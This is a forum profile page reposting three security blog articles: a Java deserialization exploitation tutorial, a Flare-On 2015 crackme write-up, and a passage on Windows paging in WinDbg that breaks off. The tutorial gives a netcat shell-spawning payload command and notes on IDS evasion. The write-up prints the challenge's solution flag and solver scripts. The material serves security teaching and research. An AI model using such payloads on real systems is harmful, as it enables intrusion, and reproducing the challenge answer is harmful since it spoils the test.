Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. Attacking Java Deserialization Deserialization vulnerabilities are far from new, but exploiting them is more involved than other common vulnerability classes. During a recent client engagement I was able to take advantage of Java deserialization to gain a foothold on a server from where I was able to obtain root access to tens of servers spanning pre-production and production environments across multiple data centres. The vulnerability I discovered had previously survived multiple pentests and I would have missed it too if I hadn’t had prior exposure to Java (de)serialization. In this blog post I’ll attempt to clear up some confusion around deserialization vulnerabilities and hopefully lower the bar to entry in exploiting them using readily available tools. I’ll be focusing on Java, however the same concepts apply to other languages. I’ll also be focusing on command execution exploits in order to keep things simple. I spoke about this topic at SteelCon this year and will also be speaking on the topic at BSides Manchester and BSides Belfast (on that note, I’m also speaking about poking one of Java’s back doors at 44con this year)! (De)serialization Briefly, serialization is the process of converting runtime variables and program objects into a form that can be stored or transmitted. Deserialization is the reverse process that converts the serialized form back into in-memory variables and program objects. The serialized form could be a text-based format such as JSON or XML, or a binary format. Many higher level languages such as C#, Java, and PHP have built-in support for data serialization which is trivial to use and saves the developer from having to implement these routines themselves. In this blog post I’ll be focusing on Java’s built-in serialization format but other formats can come with similar risks (check out Alvaro Muñoz and Oleksandr Mirosh’s Black Hat USA 2017 and Def Con 25 talk Friday the 13th: JSON Attacks for more on this). What’s the Problem? The use of (de)serialization isn’t a problem itself. Problems arise when a user (attacker) can control the data being deserialized, for example if data can be delivered to the deserialization routine over a network connection. If an attacker has control of data being deserialized, then they have some influence over in-memory variables and program objects. Subsequently, if an attacker can influence in-memory variables and program objects, then they can influence the flow of code that uses those variables and objects. Let’s look at an example of Java deserialization: public class Session { public String username; public boolean loggedIn; public void loadSession(byte[] sessionData) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData)); this.username = ois.readUTF(); this.loggedIn = ois.readBoolean(); } } 1 2 3 4 5 6 7 8 9 10 public class Session { public String username; public boolean loggedIn; public void loadSession(byte[] sessionData) throws Exception { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sessionData)); this.username = ois.readUTF(); this.loggedIn = ois.readBoolean(); } } The ‘loadSession’ method accepts an array of bytes as a parameter and deserializes a string and a boolean from that byte array into the ‘username’ and ‘loggedIn’ properties of the object. If an attacker can control the contents of the ‘sessionData’ byte array passed to this method then they can control these object properties. The following is an example of how this Session object might be used: public class UserSettingsController { public void updatePassword(Session session, String newPassword) throws Exception { if(session.loggedIn) { UserModel.updatePassword(session.username, newPassword); } else { throw new Exception("Error: User not logged in."); } } } 1 2 3 4 5 6 7 8 9 public class UserSettingsController { public void updatePassword(Session session, String newPassword) throws Exception { if(session.loggedIn) { UserModel.updatePassword(session.username, newPassword); } else { throw new Exception("Error: User not logged in."); } } } If the session is logged in then the password for the user whose username is stored in the session is updated to the given value. This is a simple example of a ‘POP Gadget’, a snippet of code that we have some control over via the properties of an object. Property-Oriented Programming When we control object properties and use them to influence the flow of code execution in this way we are doing what’s known as ‘property-oriented programming’. A POP gadget is a code snippet that we can influence to our advantage by manipulating the properties of some object. Often multiple gadgets will need chaining in order to create a complete exploit. We can think of this as high-level ROP (return-oriented programming – a technique used in memory corruption exploits) except that instead of a ROP gadget pushing a value onto the stack, a POP gadget might allow us to write some data to a file. An important point here is that a deserialization exploit does not involve sending classes or code to the server to execute. We’re simply sending the properties of classes that the server is already aware of in order to manipulate existing code that deals with those properties. A successful exploit hence relies on knowledge of the code that can be manipulated through deserialization. This is where a lot of the difficulty in exploiting deserialization vulnerabilities stems from. Interesting Gadgets POP gadgets can exist anywhere in a program, the only requirements are that the code can be manipulated using the properties of deserialized objects, and that an attacker can control the data being deserialized. Some gadgets are of greater interest, however, because their execution is more predictable. In Java, a serializable class can define a method named ‘readObject‘ which can be used to perform special handling during deserialization (for example supporting backwards compatibility). This method can also be used to respond to the event of an object of that class being deserialized. An example use of this method might be for a database manager object to automatically establish a connection to the database when it is deserialized into memory. Most Java serialization exploits take advantage of the code within these readObject methods because the code is guaranteed to be executed during deserialization. Exploiting Deserialization To exploit a deserialization vulnerability we need two key things: An entry point that allows us to send our own serialized objects to the target for deserialization. One or more code snippets that we can manipulate through deserialization. Entry Points We can identify entry points for deserialization vulnerabilities by reviewing application source code for the use of the class ‘java.io.ObjectInputStream’ (and specifically the ‘readObject’ method), or for serializable classes that implement the ‘readObject’ method. If an attacker can manipulate the data that is provided to the ObjectInputStream then that data presents an entry point for deserialization attacks. Alternatively, or if the Java source code is unavailable, we can look for serialized data being stored on disk or transmitted over the network, provided we know what to look for! The Java serialization format begins with a two-byte magic number which is always hex 0xAC ED. This is followed by a two-byte version number. I’ve only ever seen version 5 (0x00 05) but earlier versions may exist and in future later versions may also exist. Following the four-byte header are one or more content elements, the first byte of each should be in the range 0x70 to 0x7E and describes the type of the content element which is used to infer the structure of the following data in the stream. For more details see Oracle’s documentation on the Object Serialization Stream Protocol. People often say to look for the four-byte sequence 0xAC ED 00 05 in order to identify Java serialization, and in fact some IDS signatures look for this sequence to detect attacks. During my recent client engagement I didn’t immediately see those four bytes because the target client application kept a network connection to the server open the entire time it was running and the four-byte header only exists once at the very beginning of a serialization stream. The client’s IDS missed my attacks for this reason – my payloads were sent later in the stream and separately from the serialization header. We can use an ASCII dump to help identify Java serialization data without relying on the four-byte 0xAC ED 00 05 header. The most obvious indicator of Java serialization data is the presence of Java class names in the dump, such as ‘java.rmi.dgc.Lease’. In some cases Java class names might appear in an alternative format that begins with an ‘L’, ends with a ‘;’, and uses forward slashes to separate namespace parts and the class name (e.g. ‘Ljava/rmi/dgc/VMID;’). Along with Java class names, there are some other common strings that appear due to the serialization format specification, such as ‘sr’ which may represent an object (TC_OBJECT) followed by its class description (TC_CLASSDESC), or ‘xp’ which may indicate the end of the class annotations (TC_ENDBLOCKDATA) for a class which has no super class (TC_NULL). Having identified the use of serialized data, we need to identify the offset into that data where we can actually inject a payload. The target needs to call ‘ObjectInputStream.readObject’ in order to deserialize and instantiate an object (payload) and support property-oriented programming, however it could call other ObjectInputStream methods first, such as ‘readInt’ which will simply read a 4-byte integer from the stream. The readObject method will read the following content types from a serialization stream: 0x70 – TC_NULL 0x71 – TC_REFERENCE 0x72 – TC_CLASSDESC 0x73 – TC_OBJECT 0x74 – TC_STRING 0x75 – TC_ARRAY 0x76 – TC_CLASS 0x7B – TC_EXCEPTION 0x7C – TC_LONGSTRING 0x7D – TC_PROXYCLASSDESC 0x7E – TC_ENUM In the simplest cases an object will be the first thing read from the serialization stream and we can insert our payload directly after the 4-byte serialization header. We can identify those cases by looking at the first five bytes of the serialization stream. If those five bytes are a four-byte serialization header (0xAC ED 00 05) followed by one of the values listed above then we can attack the target by sending our own four-byte serialization header followed by a payload object. In other cases, the four-byte serialization header will most likely be followed by a TC_BLOCKDATA element (0x77) or a TC_BLOCKDATALONG element (0x7A). The former consists of a single byte length field followed by that many bytes making up the actual block data and the latter consists of a four-byte length field followed by that many bytes making up the block of data. If the block data is followed by one of the element types supported by readObject then we can inject a payload after the block data. I wrote a tool to support some of my research in this area, SerializationDumper, which we can use to identify entry points for deserialization exploits. The tool parses Java serialization streams and dumps them out in a human-readable form. If the stream contains one of the element types supported by readObject then we can replace that element with a payload object. Below is an example of its use: $ java -jar SerializationDumper-v1.0.jar ACED00057708af743f8c1d120cb974000441424344 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 8 - 0x08 Contents - 0xaf743f8c1d120cb9 TC_STRING - 0x74 newHandle 0x00 7e 00 00 Length - 4 - 0x00 04 Value - ABCD - 0x41424344 1 2 3 4 5 6 7 8 9 10 11 $ java -jar SerializationDumper-v1.0.jar ACED00057708af743f8c1d120cb974000441424344 STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_BLOCKDATA - 0x77 Length - 8 - 0x08 Contents - 0xaf743f8c1d120cb9 TC_STRING - 0x74 newHandle 0x00 7e 00 00 Length - 4 - 0x00 04 Value - ABCD - 0x41424344 In this example the stream contains a TC_BLOCKDATA followed by a TC_STRING which can be replaced with a payload. Objects in a serialization stream are instantiated as they are loaded, rather than after the entire stream has been parsed. This fact allows us to inject payloads into a serialization stream without worrying about correcting the remainder of the stream. The payload will be deserialized and executed before any kind of validation happens and before the application attempts to read further data from the serialization stream. POP Gadgets Having identified an entry point that allows us to provide our own serialized objects for the target to deserialize, the next thing we need are POP gadgets. If we have access to the source code then we can look for ‘readObject’ methods and code following calls to ‘ObjectInputStream.readObject’ in order to work out what potential gadgets exist. Often we don’t have access to application source code but this doesn’t prevent us from exploiting deserialization vulnerabilities because there are lots of commonly used third-party libraries that can be targeted. Researchers including Chris Frohoff and Gabriel Lawrence have already found POP gadget chains in various libraries and released a tool called ‘ysoserial‘ that can generate payload objects. This tool greatly simplifies the process of attacking Java deserialization vulnerabilities! There are a lot of gadget chains included in ysoserial so the next step is to work out which, if any, can be used against the target. Background knowledge about the third-party libraries used by the application, or an information disclosure issue, should be the first port of call. If we know which third-party libraries are used by the target then we can select the appropriate ysoserial payload(s) to try. Unfortunately this information might not be readily available in which case we can, with caution, cycle through the various ysoserial gadget chains until we find one we can use. Care should be taken with this approach as there is always a risk of triggering an unhandled exception and crashing the target application. The target would have to be particularly unstable for this to happen, however, as even an nmap version scan would likely cause the target to crash if it couldn’t handle unexpected/malformed data. If the target application responds to a ysoserial payload with a ‘ClassNotFoundException’ then chances are that the library targeted by the chosen gadget chain is not available to the target application. A ‘java.io.IOException’ with the message ‘Cannot run program’ likely means that the gadget chain worked, however the operating system command that the gadget chain attempted to execute was not available on the server. The ysoserial command execution payloads are blind payloads and the command output is not returned. There are also a couple of limitations due to the use of ‘java.lang.Runtime.exec(String)’. The first is that shell operators such as output redirection and piping are not supported. The second is that parameters to the payload command cannot contain spaces (e.g. we can use “nc -lp 31313 -e /bin/sh” but we can’t use “perl -e ‘use Socket;…'” because the parameter to perl contains a space). Fortunately there’s a nice payload encoder/generator available online which can get around these limitations here: http://jackson.thuraisamy.me/runtime-exec-payloads.html. Try it Yourself – DeserLab and SerialBrute It’s important to understand serialization and how deserialization exploits work (e.g. property-oriented programming) in order to effectively exploit deserialization vulnerabilities. Doing so is still more involved than other common vulnerability classes so it’s helpful to have a target to practice on. Along with this blog post, I’ve created and released a demo application called ‘DeserLab‘ that implements a custom network protocol on top of the Java serialization format. The application is vulnerable to deserialization attacks and should be exploitable using the information provided in this blog post. ‘SerialBrute‘ is a pair of Python scripts that I wrote and use to automate testing of ysoserial payloads against arbitrary targets. The first, SerialBrute.py’, can replay a TCP conversation or HTTP request and inject a payload at a given point while the second, ‘SrlBrt.py’ is a skeleton script that can be altered to deliver payloads where special processing is needed. Both attempt to detect valid and invalid payloads by looking at returned exceptions. These scripts are not intended to be full blown or polished attack tools and should be used with caution due to the risk of knocking an application over but I’ve personally had great success replaying TCP conversations and injecting ysoserial gadget chains. Thanks for reading! Have a go at DeserLab if this is something you’re interested in and if there’s anything I’ve missed, anything that could do with further explanation, or you have any questions or feedback please leave a comment or get in touch on Twitter (@NickstaDB)! Sursa: https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
  2. Flare-on 2015 - Level 2: very_success.exe This post is mostly a showcase of possible approaches and excellent, free tools that you can use to reverse some binaries. To that end, we’ll leave the IDA alone, and learn a few new things. Our target is the second challenge of Flare-On 2015. It is actually quite an interesting little target. Let’s get right into it. We’re going to grab a copy of radare2 for windows (pre-built for minimum hassle), and ConEmu to make our cmd prompt experience a little nicer. After adding the folder containing radare to our path: $ set PATH=%PATH%;C:\tools\r2 …we load the binary using the -A flag which performs an analysis of flags and symbols and renames things. We also use the -w flag to open the file in write mode in case we want to edit/patch something. $ radare2 -A -w very_success.exe Step 1: Initial triage and recon We can perform our initial triage inside of r2: What is this file? Ok, let’s see the entry points, imports, resources, sections, and exports: It’s looking like a small, simple thing so far…what kind of interesting strings are there? and because we’ve already run some analysis (-A), we can examine xrefs to the clearly interesting string of “You are success” and “Enter the password>” XREF to Enter the password We might want to set a flag, or alias to the address of interest (the address where the Enter the password string is), but we don’t have to in this case because r2 has already done that for us. We examine the flag spaces, select the strings flag space, and see what’s in there (redundant here, but good to be aware of) tab-completing our way to victory: Let’s investigate the function that is using this string to learn a little more about this binary. We seek to the function of interest, and enter visual mode: [0x004010df]> s sub.kernel32.dll_GetStdHandle_0 [0x00401000]> VV We press p or P to cycle through the different display modes (pretty much everywhere in r2 you can press ? to see what commands are available, and commands that have subcommands/modes also accept a ?) It seems fairly clear…whatever we input will be validated inside of fcn.00401084, and the return value will determine whether we get the nice message or the bad one. (It might be worth your while to tab/TAB around, zoom (+, -), check out the other graph views p/P, the pseudo-assembly ($), and just practice moving around hjkl (left, down, up, right) to make your r2 experience a little more comfortable.) Before we dig into the flag validation routine, we take note of the arguments to the imported ReadFile call: BOOL WINAPI ReadFile( _In_ HANDLE hFile, _Out_ LPVOID lpBuffer, _In_ DWORD nNumberOfBytesToRead, _Out_opt_ LPDWORD lpNumberOfBytesRead, _Inout_opt_ LPOVERLAPPED lpOverlapped ); I like to imagine all the pushed args as a tower sitting above the function call. Then I knock that tower over and the arguments fall into their respective places. The following illustration should make this clear: push arg3 push arg2 push arg1 call a push arg3 push arg2 push arg1 call a(arg1, arg2, arg3) you’re welcome! So, we’ll be reading from stdin, into 0x402159, a maximum of 0x32 bytes With that in mind, we rename some variables, and create a flag at the buffer location of our input. Press : to access the command line > afvn local_ch hStdIn > f theGuess 0x32 @0x402159 and press enter or ctrl+c to quit the command prompt one mystery remains…the local_10h being passed into the flag validation routine…what is it? We access the command line again : and look at where the variables are being written: :> afvW local_10h 0x401007 hStdIn 0x401012 local_8h 0x40101d inputLen we scroll up a bit to that location (k), and we see the following disassembly: 0x00401000 58 pop eax 0x00401001 55 push ebp 0x00401002 89e5 mov ebp, esp 0x00401004 83ec10 sub esp, 0x10 0x00401007 8945f0 mov dword [local_10h], eax 0x0040100a 6af6 push 0xfffffffffffffff6 that’s an interesting function prologue…it starts with a pop eax. Whatever was at the top of the stack when we entered this function is what will be placed into eax, and shortly thereafter…local_10h. We’d usually expect a return address at the top of the stack. When the previous function called this one, the call instruction sets EIP to the beginning of this function and pushes the address of whatever was after the call instruction onto the stack. We press x to see where this function…wait, let’s rename it first, press d and let’s call it main. Now we can press x, or seek using the command prompt and s <address listed at the CALL XREF at the top of this function> I choose x: The instructions don’t really make a whole lot of sense following the call, so let’s examine a hexdump and see if there’s anything recognizable: Press <enter> to return to Visual mode. :> px 20 @0x4010e4 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x004010e4 afaa adeb aeaa eca4 baaf aeaa 8ac0 a7b0 ................ 0x004010f4 bc9a baa5 .... :> hmm…well, bytes are bytes. We rename local_10h to someBytes. With things renamed, and knowing what’s going into the flag validation routine, and what we want to return with (a non-zero eax), we step inside the flag validation routine using the [gd] shortcut that radare has provided. We literally just type gd. We rename this function to flagValidator. It seems that this function only takes 3 args. So we rename them according to what we knew was pushed onto the stack before this call. It looks like our input length should be at least 0x25 characters. Otherwise, we end up at (press t to follow the true branch) the basic block which xor eax, eax before moving to the block that returns to main. Press u to return to the basic block we were just at. If we pass the length check, we follow the false branch. The [gc] block will initialize the loop: esi receives our input guess edi receives the mystery bytes and ecx currently still holds the length of our input, which is now used to index into the mystery bytes…. mysteryBytes[inputLen - 1]. Essentially, edi points to the last byte of the mysteryBytes …then a bunch of ugly stuff happens inside of the next block, [gd]. If the condition at the end…jecxz, is true then we go to the fail block [ga] which will zero out eax and return. This instruction is exactly what it sounds like, jump if ecx is zero. Okay, maybe it didn’t sound like anything, but it makes sense after the fact, right? So…there’s only one good way out of this function and that’s through the loop instruction at 0x4010d3. So we will have to survive each iteration of the loop without ecx ever being zero. This depends on the sneaky scasb. 0x004010bc 86ca xchg dl, cl 0x004010be 31d2 xor edx, edx 0x004010c0 25ff000000 and eax, 0xff 0x004010c5 6601c3 add bx, ax 0x004010c8 ae scasb al, byte es:[edi] 0x004010c9 660f45ca cmovne cx, dx 0x004010cd 58 pop eax 0x004010ce e307 jecxz 0x4010d7;[ga] if the scan string comparison ever fails between al and edi, then the conditional move if not equal (cmovne) will make sure that freshly xor’d edx will put a zero in cx and we will fail. Ok…here is the interesting part, and what you all came to see. How do we solve this problem. I will present four…count ‘em 4 gorgeous methods (sort of): Symbolic execution + SMT solver (angr w/z3) Emulation bruteforce (Unicorn) Side-channel attack (Pintool wintool) Reverse the algorithm (brain + python) Method 1: Symbolic execution + SMT solver (angr w/z3) Some background reading and a de-scarying of symbolic execution, if you so desire: doar-e Quick introduction into SAT/SMT solvers and symbolic execution lots of great stuff on both of those sites, be sure to explore some rabbit holes and follow along with your hands on some python+binaries. We have just about everything we need to start writing our angr script. Let’s review: The function of interest takes three arguments: the mystery bytes that live at the address popped into eax at the start of main our input guess the length of our input guess We know the values for 2 of those things. Grab the mystery bytes: :> s 0x4010e4 :> wt? |Usage: wt[a] file [size] Write 'size' bytes in current blok to 'file' | wta [filename] append to 'filename' | wtf [filename] [size] write to file (see also 'wxf' and 'wf?') | wtf! [filename] write to file from current address to eof :> wtf magicBytes 0x25 dumped 0x25 bytes Dumped 37 bytes from 0x004010e4 into magicBytes (Note: Since this buffer is of a manageable size, we could have printed the bytes as an escaped hex string…or various other formats. See the print p command for more options. We’ll explore this in Method #2.) Let’s win: #!/usr/bin/env python import angr # load the binary b = angr.Project("very_success.exe", load_options={"auto_load_libs":False}) # create a blank_state (https://github.com/angr/angr-doc/blob/master/docs/toplevel.md#the-factory) at the top of the flag checking function s = b.factory.blank_state(addr=0x401084) # Since we started inside this function, we have to set up the args that were pushed on to the stack from the previous function # ...0 sounds like a good place to store memory, why not? So esp+4 (arg0) shall point to the address 0 s.mem[s.regs.esp+4:].dword = 0 # and why not...next arg was at 100 s.mem[s.regs.esp+8:].dword = 100 # next arg at 200? ok! s.mem[s.regs.esp+0xC:].dword = 200 # we know the length of the winning input magicLen = 0x25 # and we know what the magicBytes are magicBytes = open('magicBytes', 'rb').read() # let's load them into memory at address 0 as bit vector values s.memory.store(0, s.se.BVV(magicBytes)) # we'll load the second arg into memory at 100 # using a symbolic BitVector (https://github.com/angr/angr-doc/blob/master/docs/claripy.md#claripy-asts) s.memory.store(100, s.se.BVS("guess", magicLen*8)) # and we can store our magicLen using 32 bits at 200 s.memory.store(200, s.se.BVV(magicLen, 32)) # instantiate a path_group (https://github.com/angr/angr-doc/blob/master/docs/pathgroups.md) pg = b.factory.path_group(s) # ask them to explore until they find the winning basic block, and avoid the xor eax, eax block pg.explore(find=0x4010d5, avoid=0x4010d7) # for those paths which have found a way to the desired address...let's examine their state for found in pg.found: # specifically, let's see what string is in memory at 100 for successful paths print found.state.se.any_str(found.state.memory.load(100, 0x25)).strip('\0') and then: # ./very_angr.py WARNING | 2017-08-10 00:04:30,040 | cle.pe | The PE module is not well-supported. Good luck! a_Little_b1t_harder_plez@flare-on.com Knowing the flag format, (printable ascii, ending in @flare-on.com), we could have added some contraints to speed things up. See angr-doc for some examples. Method 2: Emulation bruteforce (Unicorn) This probably isn’t the most elegant approach, but it’s nice to have at least an introduction to another powerful tool. First, we need the bytes of the code we want to emulate. We seek to the flagValidator function and ask r2 for some information about this function…namely, we want to know the size: :> s flagValidator :> s 0x401084 :> afi ~size size: 91 ok, let’s grab those bytes then. Instead of a file, let’s just grab the string: :> pcs 91 "\x55\x89\xe5\x83\xec\x00\x57\x56\x31\xdb\xb9\x25\x00\x00\x00\x39\x4d\x10\x7c\x3f\x8b\x75\x0c\x8b\x7d\x08\x8d\x7c\x0f\xff\x66\x89\xda\x66\x83\xe2\x03\x66\xb8\xc7\x01\x50\x9e\xac\x9c\x32\x44\x24\x04\x86\xca\xd2\xc4\x9d\x10\xe0\x86\xca\x31\xd2\x25\xff\x00\x00\x00\x66\x01\xc3\xae\x66\x0f\x45\xca\x58\xe3\x07\x83\xef\x02\xe2\xcd\xeb\x02\x31\xc0\x5e\x5f\x89\xec\x5d\xc3" looks pretty good…starts with the prologue, ends with a c3 (ret). Since this is a little more convenient than the magicBytes file, let’s grab the magicBytes as a string as well: :> s 0x4010e4 :> pcs 0x25 "\xaf\xaa\xad\xeb\xae\xaa\xec\xa4\xba\xaf\xae\xaa\x8a\xc0\xa7\xb0\xbc\x9a\xba\xa5\xa5\xba\xaf\xb8\x9d\xb8\xf9\xae\x9d\xab\xb4\xbc\xb6\xb3\x90\x9a\xa8" We’re ready to start our script: #!/usr/bin/env python # lots of good help from these awesome scripts/examples/blogs #https://github.com/unicorn-engine/unicorn/blob/master/bindings/python/sample_x86.py#L24 #https://r3v3rs3r.wordpress.com/2015/12/12/unicorn-vs-malware/ #https://github.com/karttoon/shellbug #https://github.com/unicorn-engine/unicorn/issues/451 from unicorn import * from unicorn.x86_const import * # taking a lazy approach to automation and wrapping the entire thing in a loop rightChars = 0 # dummy string to guess with guessString = list("!" * 0x25) # and setting our win state foundIt = False while not foundIt: for c in xrange(0x20, 0x7F): guessString[rightChars] = chr(c) # creating a custom hook for every instruction that executes # a brutish approach, but it'll work def hook_code(uc, address, size, user_data): global rightChars global foundIt # if we have already executed the cmovne cx, dx, and cx is zero... # then this input is bad and we need to try a different one # :> ? 0x4010cd - 0x401084 # 73 0x49 0111 73 0000:0049 73 "I" 01001001 73.0 73.000000f 73.000000 if address == 0x49: ecx = uc.reg_read(UC_X86_REG_ECX) # we got hit with the cmovne, it was a bad guess if ecx == 0: mu.emu_stop() # we managed to loop all the way to the last character...we won elif ecx == 1: foundIt = True mu.emu_stop() # if loop count and number of characters we already found match, we move on elif ecx == 0x25 - rightChars: #print ("Found One!") #print (uc.mem_read(guessAddress+rightChars, 1)) rightChars += 1 # spawn a unicorn thing mu = Uc(UC_ARCH_X86, UC_MODE_32) # some generic addresses for our emulation baseAddress = 0 STACK_ADDRESS = 0xffff000 STACK_SIZE = 0x1000 # function code functionCode = "\x55\x89\xe5\x83\xec\x00\x57\x56\x31\xdb\xb9\x25\x00\x00\x00\x39\x4d\x10\x7c\x3f\x8b\x75\x0c\x8b\x7d\x08\x8d\x7c\x0f\xff\x66\x89\xda\x66\x83\xe2\x03\x66\xb8\xc7\x01\x50\x9e\xac\x9c\x32\x44\x24\x04\x86\xca\xd2\xc4\x9d\x10\xe0\x86\xca\x31\xd2\x25\xff\x00\x00\x00\x66\x01\xc3\xae\x66\x0f\x45\xca\x58\xe3\x07\x83\xef\x02\xe2\xcd\xeb\x02\x31\xc0\x5e\x5f\x89\xec\x5d\xc3" magicBytes = "\xaf\xaa\xad\xeb\xae\xaa\xec\xa4\xba\xaf\xae\xaa\x8a\xc0\xa7\xb0\xbc\x9a\xba\xa5\xa5\xba\xaf\xb8\x9d\xb8\xf9\xae\x9d\xab\xb4\xbc\xb6\xb3\x90\x9a\xa8" # map 0x1000 bytes at baseAddress mu.mem_map(baseAddress, 0x1000) mu.mem_map(STACK_ADDRESS, STACK_SIZE) # set our ESP with some room for the previous args to this function mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + STACK_SIZE - 0x10) # address where we want to write the magicBytes magicBytesAddress = 0x200 # write them mu.mem_write(magicBytesAddress, magicBytes) # address where we want to write our input buffer guessAddress = 0x300 # write it mu.mem_write(guessAddress, ''.join(guessString)) # address where we want to write the magicLen (input length value we discovered) magicLenAddress = 0x400 # its value magicLen = 0x25 # write it mu.mem_write(magicLenAddress, str(magicLen)) # "push" our args onto the stack (the addresses of our buffers of interest) mu.mem_write(STACK_ADDRESS+STACK_SIZE-0xc, "\x00\x02\x00\x00") mu.mem_write(STACK_ADDRESS+STACK_SIZE-8, "\x00\x03\x00\x00") mu.mem_write(STACK_ADDRESS+STACK_SIZE-4, "\x00\x04\x00\x00") # write the function code at the base address mu.mem_write(baseAddress, functionCode) # hook every instruction, because it'll work mu.hook_add(UC_HOOK_CODE, hook_code) # start the brute try: mu.emu_start(baseAddress, baseAddress + len(functionCode)) if foundIt: print ''.join(guessString) break except UcError as e: print "Error: %s" % e and then: # ./very_emulated.py a_Little_b1t_harder_plez@flare-on.com Method 3: Timing attack (Pintool wintool) This one is very easy to write about because someone has already done the work. What is Pin? How can I win? How can I win on windows? That last script is just some mangling I did to aldeid’s pintool to make it happy with python and windows cmd prompt. C:\pin>python c:/tools/pintool2-win.py -l 37 -c 6 -a 32 -s ! c:/working-dir/very_success.exe !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 4!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 5!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 6!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 7!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions 9!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19488 difference 0 instructions a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 22 instructions a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 22 instructions a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a1!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a2!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions a3!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! = 19510 difference 0 instructions ... ... a_Little_b1t_harder_plez@flare-on.col = 20280 difference 0 instructions a_Little_b1t_harder_plez@flare-on.com = 20283 difference 3 instructions a_Little_b1t_harder_plez@flare-on.com = 20283 difference 3 instructions Password: a_Little_b1t_harder_plez@flare-on.com For all characters except the last, you can clearly see the extra loop in the 22 instruction difference. I have no idea how the last character gets a 3 instruction difference. Method 4: Reverse the algorithm (brain + python) I also get this one for free because you can easily find plenty of this kind of writeup with a google query for “very_success.exe” For example…see this excellent, detailed explanation References: radare2 ConEmu ReadFile Function prologue x86 jecxz x86 loop x86 scasb doar-e Quick introduction into SAT/SMT solvers and symbolic execution angr-doc Unicorn x86 example Unicorn vs Malware Shellbug - Shellcode debugger Unicorn Issue Pin Pintool2 Pintool2 - windows-friendl..ier very_success write-up theJunkyard Sursa: https://fevral.github.io/2017/08/13/flareon2015-2.html
      • 2
      • Upvote
  3. Exploring Windows virtual memory management August 13, 2017 In a previous post, we discussed the IA-32e 64-bit paging structures, and how they can be used to turn virtual addresses into physical addresses. They're a simple but elegant way to manage virtual address mappings as well as page permissions with varying granularity of page sizes. All of which is provided by the architecture. But as one might expect, once you add an operating system like Windows into the mix, things get a little more interesting. The problem of per-process memory In Windows, a process is nothing more than a simple container of threads and metadata that represents a user-mode application. It has its own memory so that it can manage the different pieces of data and code that make the process do something useful. Let's consider, then, two processes that both try to read and write from the memory located at the virtual address 0x00000000`11223344. Based on what we know about paging, we expect that the virtual address is going to end up translating into the same physical address (let's say 0x00000001`ff003344 as an example) in both processes. There is, after all, only one CR3 register per processor, and the hardware dictates that the paging structure root is located in that register. Figure 1: If the two process' virtual addresses would translate to the same physical address, then we expect that they would both see the same memory, right? Of course, in reality we know that it can't work that way. If we use one process to write to a virtual memory address, and then use another process to read from that address, we shouldn't get the same value. That would be devastating from a security and stability standpoint. In fact, the same permissions may not even be applied to that virtual memory in both processes. But how does Windows accomplish this separation? It's actually pretty straightforward: when switching threads in kernel-mode or user-mode (called a context switch), Windows stores off or loads information about the current thread including the state of all of the registers. Because of this, Windows is able to swap out the root of the paging structures when the thread context is switched by changing the value of CR3, effectively allowing it to manage an entirely separate set of paging structures for each process on the system. This gives each process a unique mapping of virtual memory to physical memory, while still using the same virtual address ranges as another process. The PML4 table pointer for each user-mode process is stored in the DirectoryTableBase member of an internal kernel structure called the EPROCESS, which also manages a great deal of other state and metadata about the process. Figure 2: In reality, each process has its own set of paging structures, and Windows swaps out the value of the CR3 register when it executes within that process. This allows virtual addresses in each process to map to different physical addresses. We can see the paging structure swap between processes for ourselves if we do a little bit of exploration using WinDbg. If you haven't already set up kernel debugging, you should check out this article to get yourself started. Then follow along below. Let's first get a list of processes running on the target system. We can do that using the !process command. For more details on how to use this command, consider checking out the documentation using .hh !process. In our case, we pass parameters of zero to show all processes on the system. 0: kd> !process 0 0 **** NT ACTIVE PROCESS DUMP **** PROCESS fffffa801916b5d0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00187000 ObjectTable: fffff8a000001890 HandleCount: 560. Image: System PROCESS fffffa8028effb10 SessionId: none Cid: 0130 Peb: 7fffffd8000 ParentCid: 0004 DirBase: 7d9ed5000 ObjectTable: fffff8a000174d80 HandleCount: 36. Image: smss.exe PROCESS fffffa802949bb10 SessionId: 0 Cid: 01b8 Peb: 7fffffdf000 ParentCid: 0174 DirBase: 7cf890000 ObjectTable: fffff8a000b82010 HandleCount: 713. Image: csrss.exe ... PROCESS fffffa8019218b10 SessionId: 1 Cid: 02f0 